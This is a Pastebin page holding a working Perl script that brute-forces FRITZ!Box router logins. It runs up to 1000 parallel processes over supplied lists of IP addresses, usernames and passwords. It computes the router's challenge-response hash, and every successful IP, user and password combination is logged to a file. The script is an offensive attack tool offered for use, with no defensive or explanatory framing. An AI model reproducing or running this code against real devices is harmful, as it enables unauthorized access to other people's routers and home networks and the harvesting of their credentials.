Guest User

inj3ctor3

a guest
May 7th, 2018
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.69 KB | None | 0 0
  1. use Parallel::ForkManager;
  2. use LWP::UserAgent;
  3. use Digest::MD5 "md5_hex";
  4.  
  5. my $ips = $ARGV[0];
  6. my $users = $ARGV[1];
  7. my $passlst = $ARGV[2];
  8. my $filename = "fritx.txt";
  9. my $max_processes = "1000";
  10. my $pm = Parallel::ForkManager->new($max_processes);
  11.  
  12. open my $handle1, '<', $ips;
  13. chomp(my @IPS = <$handle1>);
  14. close $handle1;
  15.  
  16. open my $handle2, '<', $passlst;
  17. chomp(my @PASSLST = <$handle2>);
  18. close $handle2;
  19.  
  20. open my $handle3, '<', $users;
  21. chomp(my @USERS = <$handle3>);
  22. close $handle3;
  23.  
  24. foreach $boxpasswort (@PASSLST){
  25. chomp($boxpasswort);
  26. foreach $user (@USERS){
  27. chomp($user);
  28. foreach $ip (@IPS){
  29. chomp($ip);
  30. my $pid = $pm->start and next;
  31. ##
  32. alarm("5");
  33. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 },);
  34. my $url = $ip."login_sid.lua";
  35. my $response = $ua->get($url);
  36. $response->as_string() =~ /<Challenge>(\w+)/i and my $challengeStr = $1;
  37. my $head = $response->as_string();
  38. #print "$head\n";
  39. #print $challengeStr."\n";
  40. my $ch_Pw = "$challengeStr-$boxpasswort";
  41. #print "challange-password => $ch_Pw\t\n";
  42. $ch_Pw =~ s/(.)/$1 . chr(0)/eg;
  43. my $md5 = lc(md5_hex($ch_Pw));
  44. #print "crypted md5 challange-password => $md5\n\n";
  45. my $challenge_response = "$challengeStr-$md5";
  46. #print "final $challenge_response\n";
  47. my $login = $ua->get("$url?user=$user&response=$challenge_response");
  48. my $shit = $login->as_string();
  49. #print "$shit\n";
  50. if($login->content =~ /<SID>(\w+)/i and my $sid = $1 && $login->content =~ /<Name>(\w+)/i){
  51. print "logged with sid $sid\n\n";
  52. open(OUTPUT,">>$filename");
  53. print OUTPUT "$ip $user $boxpasswort\r\n";
  54. close (OUTPUT);
  55.  
  56. }
  57. else{print "not logged $url $user $boxpasswort \r";}
  58.  
  59. ##
  60. $pm->finish;
  61. }
  62. $pm->wait_all_children();
  63. }
  64. }
Add Comment
Please, Sign In to add comment